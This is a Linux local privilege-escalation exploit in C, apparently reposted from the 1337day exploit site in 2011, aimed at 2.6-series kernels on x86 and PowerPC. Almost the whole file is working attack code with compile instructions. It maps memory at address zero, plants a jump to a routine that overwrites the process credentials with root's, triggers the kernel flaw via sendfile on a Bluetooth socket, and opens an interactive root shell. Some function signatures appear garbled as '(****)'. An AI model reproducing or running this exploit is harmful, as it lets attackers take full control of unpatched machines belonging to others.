_Priv8 Local R00t 2.6.18.128 2011
/* * * * 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 * 0 _ __ __ __ 1 * 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 * 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 * 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 * 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 * 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 * 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 * 1 \ \____/ >> Exploit database separated by exploit 0 * 0 \/___/ type (local, remote, DoS, etc.) 1 * 1 0 * 0 By CrosS 1 * 1 0 * 0 Linux 2011 1 * 1 0 * -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1 * * Linux 2.6.18-128.el5 * Linux 2.6.9-89.EL * Ubuntu 8.10 Linux 2.6.27 * * For i386 & ppc compile with the command; * gcc -w -o exploit exploit.c * * For x86_64 kernel and ppc64 Compile as; * gcc -w -m64 -o exploit exploit.c * * Greetz: r0073r( 1337day.com ),r4dc0re,side^effects and all members of 1337day Team ) ..... & all members of r00tw0rm.com ( RW ) .. ) * * Submit Your Exploit at Submit@1337day.com | mr.inj3ct0r@gmail.com * * For Educational purpose Only)) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/sendfile.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #if !defined(__always_inline) #define __always_inline inline __attribute__((always_inline)) #endif #if defined(__i386__) || defined(__x86_64__) #if defined(__LP64__) static __always_inline unsigned long current_stack_pointer (****) { unsigned long sp ; asm volatile ( "movq %%rsp,%0; " : "=r" ( sp )); return sp ; } #else static __always_inline unsigned long current_stack_pointer (****) { unsigned long sp ; asm volatile ( "movl %%esp,%0" : "=r" ( sp )); return sp ; } #endif #elif defined(__powerpc__) || defined(__powerpc64__) static __always_inline unsigned long current_stack_pointer (****) { unsigned long sp ; asm volatile ( "mr %0,%%r1; " : "=r" ( sp )); return sp ; } #endif #if defined(__i386__) || defined(__x86_64__) #if defined(__LP64__) static __always_inline unsigned long current_task_struct (****) { unsigned long task_struct ; asm volatile ( "movq %%gs:(0),%0; " : "=r" ( task_struct )); return task_struct ; } #else #define TASK_RUNNING 0 static __always_inline unsigned long current_task_struct (****) { unsigned long task_struct , thread_info ; thread_info = current_stack_pointer () & ~( 4096 - 1 ); if (*( unsigned long *) thread_info >= 0xc0000000 ) { task_struct = *( unsigned long *) thread_info ; /* * The TASK_RUNNING is the Only poss1ble sta7e for a proCes5 exEcut1ng * in us3r-spaCe. */ if (*( unsigned long *) task_struct == TASK_RUNNING ) return task_struct ; } /* * Prior to the 2.6 kernel series, the task_struct was stored at the end * of the kernel stack. */ task_struct = current_stack_pointer () & ~( 8192 - 1 ); if (*( unsigned long *) task_struct == TASK_RUNNING ) return task_struct ; thread_info = task_struct ; task_struct = *( unsigned long *) thread_info ; if (*( unsigned long *) task_struct == TASK_RUNNING ) return task_struct ; return - 1 ; } #endif #elif defined(__powerpc__) || defined(__powerpc64__) #define TASK_RUNNING 0 static __always_inline unsigned long current_task_struct (****) { unsigned long task_struct , thread_info ; #if defined(__LP64__) task_struct = current_stack_pointer () & ~( 16384 - 1 ); #else task_struct = current_stack_pointer () & ~( 8192 - 1 ); #endif if (*( unsigned long *) task_struct == TASK_RUNNING ) return task_struct ; thread_info = task_struct ; task_struct = *( unsigned long *) thread_info ; if (*( unsigned long *) task_struct == TASK_RUNNING ) return task_struct ; return - 1 ; } #endif #if defined(__i386__) || defined(__x86_64__) static unsigned long uid , gid ; static int change_cred (****) { unsigned int * task_struct ; task_struct = ( unsigned int *) current_task_struct (); while ( task_struct ) { if ( task_struct [ 0 ] == uid && task_struct [ 1 ] == uid && task_struct [ 2 ] == uid && task_struct [ 3 ] == uid && task_struct [ 4 ] == gid && task_struct [ 5 ] == gid && task_struct [ 6 ] == gid && task_struct [ 7 ] == gid ) { task_struct [ 0 ] = task_struct [ 1 ] = task_struct [ 2 ] = task_struct [ 3 ] = task_struct [ 4 ] = task_struct [ 5 ] = task_struct [ 6 ] = task_struct [ 7 ] = 0 ; break; } task_struct ++; } return - 1 ; } #elif defined(__powerpc__) || defined(__powerpc64__) static int change_cred (****) { unsigned int * task_struct ; task_struct = ( unsigned int *) current_task_struct (); while ( task_struct ) { if (! task_struct [ 0 ]) { task_struct ++; continue; } if ( task_struct [ 0 ] == task_struct [ 1 ] && task_struct [ 0 ] == task_struct [ 2 ] && task_struct [ 0 ] == task_struct [ 3 ] && task_struct [ 4 ] == task_struct [ 5 ] && task_struct [ 4 ] == task_struct [ 6 ] && task_struct [ 4 ] == task_struct [ 7 ]) { task_struct [ 0 ] = task_struct [ 1 ] = task_struct [ 2 ] = task_struct [ 3 ] = task_struct [ 4 ] = task_struct [ 5 ] = task_struct [ 6 ] = task_struct [ 7 ] = 0 ; break; } task_struct ++; } return - 1 ; } #endif #define PAGE_SIZE getpagesize() int main (****) { char * addr ; int out_fd , in_fd ; char template [] = "/tmp/tmp.XXXXXX" ; #if defined(__i386__) || defined(__x86_64__) uid = getuid (), gid = getgid (); #endif if (( addr = mmap ( NULL , 0x1000 , PROT_EXEC | PROT_READ | PROT_WRITE , MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , 0 , 0 )) == MAP_FAILED ) { perror ( "mmap" ); exit( EXIT_FAILURE ); } #if defined(__i386__) || defined(__x86_64__) #if defined(__LP64__) addr [ 0 ] = '\xff' ; addr [ 1 ] = '\x24' ; addr [ 2 ] = '\x25' ; *( unsigned long *)& addr [ 3 ] = 8 ; *( unsigned long *)& addr [ 8 ] = ( unsigned long ) change_cred ; #else addr [ 0 ] = '\xff' ; addr [ 1 ] = '\x25' ; *( unsigned long *)& addr [ 2 ] = 8 ; *( unsigned long *)& addr [ 8 ] = ( unsigned long ) change_cred ; #endif #elif defined(__powerpc__) || defined(__powerpc64__) #if defined(__LP64__) /* * The use of function descriptors by the Power 64-bit ELF ABI requires * the use of a fake function descriptor.:P */ *( unsigned long *)& addr [ 0 ] = *( unsigned long *) change_cred ; #else addr [ 0 ] = '\x3f' ; addr [ 1 ] = '\xe0' ; *( unsigned short *)& addr [ 2 ] = ( unsigned short ) change_cred >> 16 ; addr [ 4 ] = '\x63' ; addr [ 5 ] = '\xff' ; *( unsigned short *)& addr [ 6 ] = ( unsigned short ) change_cred ; addr [ 8 ] = '\x7f' ; addr [ 9 ] = '\xe9' ; addr [ 10 ] = '\x03' ; addr [ 11 ] = '\xa6' ; addr [ 12 ] = '\x4e' ; addr [ 13 ] = '\x80' ; addr [ 14 ] = '\x04' ; addr [ 15 ] = '\x20' ; #endif #endif if (( out_fd = socket ( PF_BLUETOOTH , SOCK_DGRAM , 0 )) == - 1 ) { perror ( "socket" ); exit( EXIT_FAILURE ); } if (( in_fd = mkstemp ( template )) == - 1 ) { perror ( "mkstemp" ); exit( EXIT_FAILURE ); } if( unlink ( template ) == - 1 ) { perror ( "unlink" ); exit( EXIT_FAILURE ); } if ( ftruncate ( in_fd , PAGE_SIZE ) == - 1 ) { perror ( "ftruncate" ); exit( EXIT_FAILURE ); } sendfile ( out_fd , in_fd , NULL , PAGE_SIZE ); execl ( "/bin/sh" , "sh" , "-i" , NULL ); exit( EXIT_SUCCESS ); } # 1337day.com [2011-11-06]